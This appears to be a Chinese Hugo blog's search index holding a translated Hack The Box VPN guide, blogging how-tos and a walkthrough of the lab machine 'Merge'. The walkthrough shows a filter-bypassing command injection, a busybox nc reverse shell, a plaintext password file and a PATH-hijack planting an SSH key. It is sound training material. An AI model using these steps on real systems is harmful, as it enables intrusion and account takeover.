[{"categories":["Hack The Box"],"collections":null,"content":"Hack The Box 官方帮助文档《Introduction to Lab Access》中文翻译：VPN 连接原理、OpenVPN 与 Pwnbox 分配步骤、VPN 控制菜单详解","date":"2026-09-13","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/"},{"categories":["Hack The Box"],"collections":null,"content":" 来源：Hack The Box Help Center · 中文译文，插图取自原文 · 翻译日期：2026-09-13 本文介绍如何连接 VPN 并访问 HTB 实验室里的靶机。 在 Hack The Box，我们使用 OpenVPN 连接，在你的设备和我们的实验室、靶机之间建立链路。你可能用过面向个人的各种\u0026quot;个人 VPN\u0026quot;服务，但我们这个 VPN 的用途完全不同。 个人 VPN 是这样一类服务：把设备的互联网连接加密，再经由一台用户自选地点的服务器转发。它可以用来保护隐私，也可以用来绕过网络审查。个人用户常用它防止上网行为被监控，或者隐藏自己的真实位置。 而公司/组织提供的 VPN 通常是为了让员工从外面远程访问公司内网。这类 VPN 在用户设备和公司网络之间建立一条安全连接，你访问内部资源时，就像人坐在公司里插着网线一样。 我们提供的各类 VPN 配置文件，作用是让你通过互联网接入我们的内部实验网络。这些用来自动配置 OpenVPN 客户端的配置文件，叫 VPN 包（VPN pack）或 VPN 文件（VPN file）。 有了它，你会被放进和漏洞靶机相同的 IP 子网，从而能够连到它们（然后攻击它们）。 你需要准备： 教学 VPN 包（Tutorial VPN packs）——原页面为图文卡片链接 免费 VPN 包（Free VPN packs）——原页面为图文卡片链接 如果你购买了 VIP+ 订阅，还能看到 VIP+ 的 VPN 包。它们和上面列出的免费包长得一样，只是把\u0026quot;Free\u0026quot;换成了\u0026quot;VIP+\u0026quot;。 连接 VPN 并不强制要求 Linux 环境，但我们强烈建议使用 Linux 虚拟机。如果你还没搭好 Linux 虚拟机，原文提供了一个专门的入门文章链接。 ","date":"2026-09-13","heading":"","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/:0:0","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/#"},{"categories":["Hack The Box"],"collections":null,"content":"VPN 设置与控制台配置 要调整、配置或下载连接参数，用控制台（dashboard）任一视图里都有的全局交互控件： ","date":"2026-09-13","heading":"VPN 设置与控制台配置","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/:1:0","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/#vpn-设置与控制台配置"},{"categories":["Hack The Box"],"collections":null,"content":"OpenVPN 分配步骤 如果你选择使用单独的 .ovpn 配置文件，请依次完成以下设置： ","date":"2026-09-13","heading":"OpenVPN 分配步骤","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/:1:1","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/#openvpn-分配步骤"},{"categories":["Hack The Box"],"collections":null,"content":"Pwnbox 分配步骤 Pwnbox 的配置项和 OpenVPN 一致，也是选层级（tier）、地区（region）、协议（protocol）。但要多做下面几步操作： ","date":"2026-09-13","heading":"Pwnbox 分配步骤","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/:2:0","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/#pwnbox-分配步骤"},{"categories":["Hack The Box"],"collections":null,"content":"启动 OpenVPN 点击 Download 按钮后，.ovpn 文件默认会下载到你 Linux 发行版的 Downloads（下载）目录。接下来就拿这个文件作为配置，启动 OpenVPN。 在 Linux 终端里建立隧道，严格按图中步骤操作： 遇到问题的话，去帮助中心的 连接故障排除 文章开始排障。 ","date":"2026-09-13","heading":"启动 OpenVPN","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/:3:0","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/#启动-openvpn"},{"categories":["Hack The Box"],"collections":null,"content":"VPN 控制菜单详解 下面逐一解释所有 VPN 控制菜单： ","date":"2026-09-13","heading":"VPN 控制菜单详解","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/:4:0","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/#vpn-控制菜单详解"},{"categories":["Hack The Box"],"collections":null,"content":"Access（实验室选择） 在 Access 菜单里，可以从 Machines（靶机）专区所有可用的实验室中选择，包括免费服务器和 VIP+ 服务器——VIP+ 现在新增了呼声很高的澳大利亚（AU）VIP+、新加坡（SG）免费和 SG VIP+ 服务器。 最佳实践：选离你最近的实验室，同时考虑你账号的 VIP+ 订阅状态。 告诉大家一个好消息：自 2026 年 1 月 15 日起，免费用户和现有 VIP 用户在打 Machines 时都会拿到专属实例。这意味着性能稳定，更重要的是——没人会和你抢同一台靶机！详情见 HTB 官方博客。 ","date":"2026-09-13","heading":"Access（实验室选择）","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/:4:1","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/#access实验室选择"},{"categories":["Hack The Box"],"collections":null,"content":"Server（服务器选择） 在 Server 菜单里选择你要连的具体 VPN 服务器。选好之后就能直接下载 .ovpn 连接包，开始对 Machines 动手了。 我们用\u0026quot;手动选服务器\u0026quot;取代了\u0026quot;随机把用户分到人最少的服务器\u0026quot;，因为有不少人提需求：希望多个队友连同一台 VPN 服务器、打同一些靶机，互相较量。希望这个改动能进一步提升团队协作，让你和你的团队、组织的学习进度更上一层楼！ ","date":"2026-09-13","heading":"Server（服务器选择）","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/:4:2","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/#server服务器选择"},{"categories":["Hack The Box"],"collections":null,"content":"Download（下载） Server 选择菜单右边就是 Download 按钮，用来下载刚生成的 .ovpn 包。点击后开始下载 .ovpn 文件，拿它启动你 Linux 系统上的 OpenVPN 进程，就能连上我们实验室里的 Machines 了。 ","date":"2026-09-13","heading":"Download（下载）","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/:4:3","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/#download下载"},{"categories":["Hack The Box"],"collections":null,"content":"Regenerate（重新生成） 如果 .ovpn 文件因错误生成异常，可以在所选实验室的各台服务器之间来回切换，重新生成文件。新的 .ovpn 文件生成后，直接下载到你的系统即可。 如果重新生成之后 .ovpn 文件仍然无效，随时联系 HTB 支持团队。 相关文章 Introduction to Pwnbox（Pwnbox 入门） Introduction to Starting Point（Starting Point 入门） Understanding the Hack The Box VPN（理解 HTB 的 VPN） Connecting to Academy VPN（连接 Academy VPN） 术语说明 Machines：HTB 主站的靶机专区；Pwnbox：HTB 提供的在线版 Linux 攻击机（浏览器里直接用，不用自己装虚拟机）。 VPN pack / .ovpn 文件：OpenVPN 的配置文件，写好了服务器地址、证书等信息。sudo openvpn xxx.ovpn 就是拿它启动连接。 AU / SG：澳大利亚 / 新加坡服务器节点。 服务器协议怎么选：优先 UDP（1337 端口），连不上或频繁掉线再换 TCP（443 端口）。 ","date":"2026-09-13","heading":"Regenerate（重新生成）","objectID":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/:4:4","tags":["HackTheBox","VPN","OpenVPN","翻译"],"title":"HTB 实验环境访问入门（Introduction to Lab Access）","uri":"/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/#regenerate重新生成"},{"categories":["指南"],"collections":null,"content":"写给未来的自己：新增文章、插入图片、本地预览、发布的完整流程。","date":"2026-09-10","objectID":"/p/blog-guide/","tags":["教程"],"title":"博客使用指南：如何写作与发布","uri":"/p/blog-guide/"},{"categories":["指南"],"collections":null,"content":"这篇文章就是本站的\u0026quot;说明书\u0026quot;，忘了流程随时回来看。 ","date":"2026-09-10","heading":"","objectID":"/p/blog-guide/:0:0","tags":["教程"],"title":"博客使用指南：如何写作与发布","uri":"/p/blog-guide/#"},{"categories":["指南"],"collections":null,"content":"1. 新建一篇文章 在 D:\\MyBlog 目录下执行： hugo new content posts/我的新文章/index.md 生成的文件开头有一段 front matter（两行 --- 之间的部分）： --- title: \"我的新文章\" # 标题 date: 2026-09-10T16:30:00+08:00 draft: true # 改成 false 才会发布 description: \"一句话摘要，会显示在列表和搜索里\" tags: [\"标签A\", \"标签B\"] categories: [\"分类\"] featured_image: \"cover.jpg\" # 可选：封面图（放在同目录下） --- ","date":"2026-09-10","heading":"1. 新建一篇文章","objectID":"/p/blog-guide/:1:0","tags":["教程"],"title":"博客使用指南：如何写作与发布","uri":"/p/blog-guide/#1-新建一篇文章"},{"categories":["指南"],"collections":null,"content":"2. 插入图片 每篇文章是一个独立的文件夹（Page Bundle），图片直接放在文章旁边即可： content/posts/我的新文章/ ├── index.md ├── cover.jpg ← 封面图 └── screenshot.png ← 正文配图 正文中引用：![截图说明](screenshot.png) ","date":"2026-09-10","heading":"2. 插入图片","objectID":"/p/blog-guide/:2:0","tags":["教程"],"title":"博客使用指南：如何写作与发布","uri":"/p/blog-guide/#2-插入图片"},{"categories":["指南"],"collections":null,"content":"3. 本地预览 hugo server -D 打开 http://localhost:1313 实时预览，保存即刷新。-D 表示连草稿（draft: true）一起显示。 ","date":"2026-09-10","heading":"3. 本地预览","objectID":"/p/blog-guide/:3:0","tags":["教程"],"title":"博客使用指南：如何写作与发布","uri":"/p/blog-guide/#3-本地预览"},{"categories":["指南"],"collections":null,"content":"4. 发布 git add -A git commit -m \"新增文章：我的新文章\" git push push 之后 GitHub Actions 会自动构建并发布到 GitHub Pages，大约一分钟后生效。 ","date":"2026-09-10","heading":"4. 发布","objectID":"/p/blog-guide/:4:0","tags":["教程"],"title":"博客使用指南：如何写作与发布","uri":"/p/blog-guide/#4-发布"},{"categories":["指南"],"collections":null,"content":"5. 常用管理操作 FixIt 主题的配置在 config/_default/ 目录下： 改博客标题：编辑 hugo.toml 的 title 改站点描述：编辑 params.toml 的 description 改首页作者卡片（名字、一句话、社交链接）：编辑 params.toml 的 [author]、[home.profile]、[social] 改导航菜单：编辑 menus.toml 改外观功能（明暗主题、代码块、目录、搜索等）：编辑 params.toml 放头像：图片放到 assets/img/avatar.png，在 params.toml 的 [author] 里加一行 avatar = \u0026quot;img/avatar.png\u0026quot; 升级主题：git submodule update --remote themes/FixIt（升级后需本地构建验证） 本地完整构建测试：hugo --minify，结果输出到 public/ 目录 ","date":"2026-09-10","heading":"5. 常用管理操作","objectID":"/p/blog-guide/:5:0","tags":["教程"],"title":"博客使用指南：如何写作与发布","uri":"/p/blog-guide/#5-常用管理操作"},{"categories":["公告"],"collections":null,"content":"这是本站的第一篇文章，顺便展示一下 Markdown 的各种排版效果。","date":"2026-09-10","objectID":"/p/hello-world/","tags":["随笔"],"title":"你好，世界：博客正式开张","uri":"/p/hello-world/"},{"categories":["公告"],"collections":null,"content":"欢迎来到我的博客！这篇文章由 Hugo + FixIt 主题生成，部署在 GitHub Pages 上。 ","date":"2026-09-10","heading":"","objectID":"/p/hello-world/:0:0","tags":["随笔"],"title":"你好，世界：博客正式开张","uri":"/p/hello-world/#"},{"categories":["公告"],"collections":null,"content":"这套博客是怎么运作的 用 Markdown 写文章，存放在 content/post/ 目录 git push 到 GitHub 后，GitHub Actions 自动构建并发布 全程免费，无需服务器 ","date":"2026-09-10","heading":"这套博客是怎么运作的","objectID":"/p/hello-world/:1:0","tags":["随笔"],"title":"你好，世界：博客正式开张","uri":"/p/hello-world/#这套博客是怎么运作的"},{"categories":["公告"],"collections":null,"content":"Markdown 排版示例 ","date":"2026-09-10","heading":"Markdown 排版示例","objectID":"/p/hello-world/:2:0","tags":["随笔"],"title":"你好，世界：博客正式开张","uri":"/p/hello-world/#markdown-排版示例"},{"categories":["公告"],"collections":null,"content":"文字样式 支持 加粗、斜体、删除线、行内代码，以及 链接。 ","date":"2026-09-10","heading":"文字样式","objectID":"/p/hello-world/:2:1","tags":["随笔"],"title":"你好，世界：博客正式开张","uri":"/p/hello-world/#文字样式"},{"categories":["公告"],"collections":null,"content":"代码块 def hello(): print(\"Hello, Hugo!\") ","date":"2026-09-10","heading":"代码块","objectID":"/p/hello-world/:2:2","tags":["随笔"],"title":"你好，世界：博客正式开张","uri":"/p/hello-world/#代码块"},{"categories":["公告"],"collections":null,"content":"引用 好记性不如烂笔头，写博客是最好的复盘方式。 ","date":"2026-09-10","heading":"引用","objectID":"/p/hello-world/:2:3","tags":["随笔"],"title":"你好，世界：博客正式开张","uri":"/p/hello-world/#引用"},{"categories":["公告"],"collections":null,"content":"列表与表格 写一篇文章 push 到 GitHub 一分钟后自动上线 工具 作用 Hugo 静态站点生成 FixIt 主题外观 GitHub Pages 免费托管 接下来就交给时间，慢慢把这里填满吧。 ","date":"2026-09-10","heading":"列表与表格","objectID":"/p/hello-world/:2:4","tags":["随笔"],"title":"你好，世界：博客正式开张","uri":"/p/hello-world/#列表与表格"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 Merge 的渗透测试与提权记录","date":"2026-06-06","objectID":"/p/merge/","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/"},{"categories":["靶机复盘"],"collections":null,"content":" 作者 难度 平台 111 Medium mazesec ","date":"2026-06-06","heading":"","objectID":"/p/merge/:0:0","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ╭─ ~ ────────────────────────────────────────────────────────────────────── ✔  root@kali  22:41:30 ╰─ nmap 192.168.56.128 -p- Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 22:41 -0400 Nmap scan report for 192.168.56.128 Host is up (0.00076s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:E7:AC:96 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 30.43 seconds ╭─ ~ ──────────────────────────────────────────────────────────────── ✔  31s  root@kali  22:42:29 ╰─ nmap 192.168.56.128 -p22,80 -A Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 22:49 -0400 Nmap scan report for 192.168.56.128 Host is up (0.0021s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0) 80/tcp open http nginx |_http-title: \\xE7\\xA6\\xBB\\xE7\\xBA\\xBFIP\\xE5\\x9C\\xB0\\xE5\\x9D\\x80\\xE6\\x9F\\xA5\\xE8\\xAF\\xA2 MAC Address: 08:00:27:E7:AC:96 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Google Chromecast with Google TV (Android 10, Linux 4.9) (93%), Android 5 - 10 (Linux 3.4 - 3.18) (93%), Linux 2.6.32 (93%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), OpenWrt 21.02 (Linux 5.4) (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 2.09 ms 192.168.56.128 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.93 seconds 只开了两个端口，22 80. 这里可以进行 ip 查询，尝试命令执行，发现过滤了: \u0026 | ; 空格 ` $ 这里可以利用%0a进行绕过，在shell中 换行符\\n 等价于命令分隔符。 ╭─ ~ ──────────────────────────────────────────────────────────────────── 5 ✘  root@kali  23:06:51 ╰─ curl -X POST -d \"ip=127.0.0.1%0aid\" http://192.168.56.128 查询 127.0.0.1 [本机地址] uid=33(www-data) gid=33(www-data) groups=33(www-data) maze-sec ","date":"2026-06-06","heading":"信息收集","objectID":"/p/merge/:1:0","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"尝试反向shell获取立足点 %09 被 URL 解码后是水平制表符 Tab, 在shell中通常被当作空白分隔符，作用类似于空格。 ╭─ ~ ────────────────────────────────────────────────────────────────────── ✔  root@kali  23:12:13 ╰─ curl -X POST -d \"ip=127.0.0.1%0abusybox%09nc%09192.168.56.101%0939666%09-e%09/bin/bash\" http://192.168.56.128 ╭─ ~ ────────────────────────────────────────────────────────────────────── ✔  root@kali  23:09:59 ╰─ nc -lvnp 39666 listening on [any] 39666 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.128] 42538 id uid=33(www-data) gid=33(www-data) groups=33(www-data) # 优化反向shell script -qc /bin/bash /dev/null # ctrl + z stty raw -echo; fg reset xterm www-data@Merge:~/html$ export SHELL=/bin/bash www-data@Merge:~/html$ export TERM=xterm www-data@Merge:~/html$ stty size 24 80 www-data@Merge:~/html$ stty rows 28 columns 104 www-data@Merge:~/html$ ","date":"2026-06-06","heading":"尝试反向shell获取立足点","objectID":"/p/merge/:2:0","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/#尝试反向shell获取立足点"},{"categories":["靶机复盘"],"collections":null,"content":"系统内部信息收集 www-data@Merge:~/html$ cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash mono:x:1000:1000::/home/mono:/bin/bash lnnn:x:1001:1001::/home/lnnn:/bin/bash admin:x:1002:1002::/home/admin:/bin/bash www-data@Merge:~/html$ ls -al /home total 20 drwxr-xr-x 5 root root 4096 May 22 06:04 . drwxr-xr-x 18 root root 4096 May 16 05:19 .. drwx------ 2 admin admin 4096 May 22 09:22 admin drwx------ 2 lnnn lnnn 4096 May 22 06:10 lnnn drwx------ 2 mono mono 4096 May 22 06:03 mono www-data@Merge:~/html$ find / -user admin 2\u003e/dev/null /opt/admin /home/admin www-data@Merge:~/html$ ls -al /opt total 20 drwxr-xr-x 4 root root 4096 May 22 09:19 . drwxr-xr-x 18 root root 4096 May 16 05:19 .. drwxr-xr-x 2 root root 4096 May 22 06:09 Dirty-Merge drwxr-x--- 2 admin lnnn 4096 May 22 09:20 admin -rw-r--r-- 1 root root 30 May 22 06:07 pass.txt 发现密码： www-data@Merge:~/html$ cat /opt/pass.txt mono:0ysP8axqGSAkvXnkvxxukVnz 获取mono的凭证。 ","date":"2026-06-06","heading":"系统内部信息收集","objectID":"/p/merge/:3:0","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/#系统内部信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"横向移动 mono mono@Merge:~$ sudo -l Matching Defaults entries for mono on Merge: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty, env_keep+=PATH, !secure_path User mono may run the following commands on Merge: (lnnn) NOPASSWD: /opt/Dirty-Merge/dirty_merge env_keep+=PATH 表示保留当前用户mono的PATH环境变量，secure_path 用预设的安全路径覆盖掉原来的PATH环境变量。 只有env_keep+=PATH !secure_path 同时存在，才能确保：执行 /opt/Dirty-Merge/dirty_merge 时使用的是用户 mono 自己设置的 PATH，而不是系统预设的安全路径。 mono@Merge:/opt/Dirty-Merge$ sed -n \"550,800p\" gro_fragnesia.c | grep system ret = system(\"ip link add veth0 type veth peer name veth1\"); ret = system(\"ip addr add 10.0.0.1/24 dev veth0\"); ret = system(\"ip link set veth0 up\"); ret = system(\"ip link set lo up\"); ret = system(\"ip addr add 10.0.0.2/24 dev veth1\"); ret = system(\"ip link set veth1 up\"); ret = system(\"ethtool -K veth1 gro on\"); ret = system(buf); 执行命令用的是相对路径，所以可以使用环境变量PATH劫持： mono@Merge:/tmp$ export PATH=/tmp:$PATH mono@Merge:/tmp$ echo $PATH /tmp:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/x86_energy_perf_policy:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/turbostat:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/cpupower:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/perf:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games mono@Merge:/tmp$ vim ethtool mono@Merge:/tmp$ cat ethtool echo \"success\" mkdir /home/lnnn/.ssh echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali\" \u003e /home/lnnn/.ssh/authorized_keys chmod 600 /home/lnnn/.ssh/authorized_keys chmod 700 /home/lnnn/.ssh mono@Merge:/tmp$ chmod +x ethtool mono@Merge:/tmp$ sudo -u lnnn /opt/Dirty-Merge/dirty_merge lnnn ╭─ ~ ────────────────────────────────────────────────────────────────── INT ✘  root@kali  04:27:47 ╰─ ssh lnnn@192.168.56.128 -p 22 Linux Merge 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. lnnn@Merge:~$ ls -al /opt total 20 drwxr-xr-x 4 root root 4096 May 22 09:19 . drwxr-xr-x 18 root root 4096 May 16 05:19 .. drwxr-x--- 2 admin lnnn 4096 May 22 09:20 admin drwxr-xr-x 2 root root 4096 May 22 06:09 Dirty-Merge -rw-r--r-- 1 root root 30 May 22 06:07 pass.txt lnnn@Merge:~$ cd /opt/admin lnnn@Merge:/opt/admin$ ls -al total 328 drwxr-x--- 2 admin lnnn 4096 May 22 09:20 . drwxr-xr-x 4 root root 4096 May 22 09:19 .. -rwsr-sr-x 1 admin admin 321880 May 22 09:19 curl -rw-r--r-- 1 root root 105 May 22 09:20 hint.txt lnnn@Merge:/opt/admin$ cat hint.txt 关注详细的参数帮助信息 Focus on the detailed parameter help information lnnn@Merge:/opt/admin$ curl --help category auth 认证方法 connection 连接管理 curl curl 命令行工具本身 deprecated 已废弃/旧版选项 dns DNS 名称解析 file FILE 协议 ftp FTP 协议 global 全局选项 http HTTP 和 HTTPS 协议 imap IMAP 协议 ldap LDAP 协议 output 文件系统输出 pop3 POP3 协议 post HTTP POST 相关选项 proxy 代理选项 scp SCP 协议 sftp SFTP 协议 smtp SMTP 协议 ssh SSH 协议 telnet TELNET 协议 tftp TFTP 协议 timeout 超时和延迟 tls TLS/SSL 相关 upload 上传/发送数据 verbose 详细输出、跟踪、日志等 lnnn@Merge:/opt/admin$ curl --help output output: 文件系统输出 --create-dirs 创建必要的本地目录层级 --fail-with-body 遇到 HTTP 错误时返回失败，但仍保存响应 body -N, --no-buffer 禁用输出流缓冲 --no-clobber 不要覆盖已经存在的文件 -o, --output 把输出写入指定文件，而不是输出到 stdout --output-dir 指定保存文件的目录 -J, --remote-header-name 使用响应头里提供的文件名 -O, --remote-name 使用远程文件名保存输出 --remote-name-all 对所有 URL 都使用远程文件名保存 -R, --remote-time 把远程文件的时间设置到本地输出文件上 --remove-on-error 出错时删除输出文件 -i, --show-headers 在输出中显示响应头 --skip-existing 如果本地文件已经存在，则跳过下载 --upload-flags IMAP 上传行为标志 -B, --use-ascii 使用 ASCII/文本传输 --xattr 把元数据存储到扩展文件属性中 lnnn@Merge:/opt/admin$ curl --help file file: FILE 协议 --create-file-mode 设置新创建文件的权限模式 -I, --head 只显示文档信息/头信息，不显示内容 -l, --list-only 只列出内容，不下载/显示完整数据 -r, --range 只","date":"2026-06-06","heading":"横向移动","objectID":"/p/merge/:3:1","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/#横向移动"},{"categories":["靶机复盘"],"collections":null,"content":"横向移动 mono mono@Merge:~$ sudo -l Matching Defaults entries for mono on Merge: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty, env_keep+=PATH, !secure_path User mono may run the following commands on Merge: (lnnn) NOPASSWD: /opt/Dirty-Merge/dirty_merge env_keep+=PATH 表示保留当前用户mono的PATH环境变量，secure_path 用预设的安全路径覆盖掉原来的PATH环境变量。 只有env_keep+=PATH !secure_path 同时存在，才能确保：执行 /opt/Dirty-Merge/dirty_merge 时使用的是用户 mono 自己设置的 PATH，而不是系统预设的安全路径。 mono@Merge:/opt/Dirty-Merge$ sed -n \"550,800p\" gro_fragnesia.c | grep system ret = system(\"ip link add veth0 type veth peer name veth1\"); ret = system(\"ip addr add 10.0.0.1/24 dev veth0\"); ret = system(\"ip link set veth0 up\"); ret = system(\"ip link set lo up\"); ret = system(\"ip addr add 10.0.0.2/24 dev veth1\"); ret = system(\"ip link set veth1 up\"); ret = system(\"ethtool -K veth1 gro on\"); ret = system(buf); 执行命令用的是相对路径，所以可以使用环境变量PATH劫持： mono@Merge:/tmp$ export PATH=/tmp:$PATH mono@Merge:/tmp$ echo $PATH /tmp:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/x86_energy_perf_policy:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/turbostat:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/cpupower:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/perf:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games mono@Merge:/tmp$ vim ethtool mono@Merge:/tmp$ cat ethtool echo \"success\" mkdir /home/lnnn/.ssh echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali\" \u003e /home/lnnn/.ssh/authorized_keys chmod 600 /home/lnnn/.ssh/authorized_keys chmod 700 /home/lnnn/.ssh mono@Merge:/tmp$ chmod +x ethtool mono@Merge:/tmp$ sudo -u lnnn /opt/Dirty-Merge/dirty_merge lnnn ╭─ ~ ────────────────────────────────────────────────────────────────── INT ✘  root@kali  04:27:47 ╰─ ssh lnnn@192.168.56.128 -p 22 Linux Merge 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. lnnn@Merge:~$ ls -al /opt total 20 drwxr-xr-x 4 root root 4096 May 22 09:19 . drwxr-xr-x 18 root root 4096 May 16 05:19 .. drwxr-x--- 2 admin lnnn 4096 May 22 09:20 admin drwxr-xr-x 2 root root 4096 May 22 06:09 Dirty-Merge -rw-r--r-- 1 root root 30 May 22 06:07 pass.txt 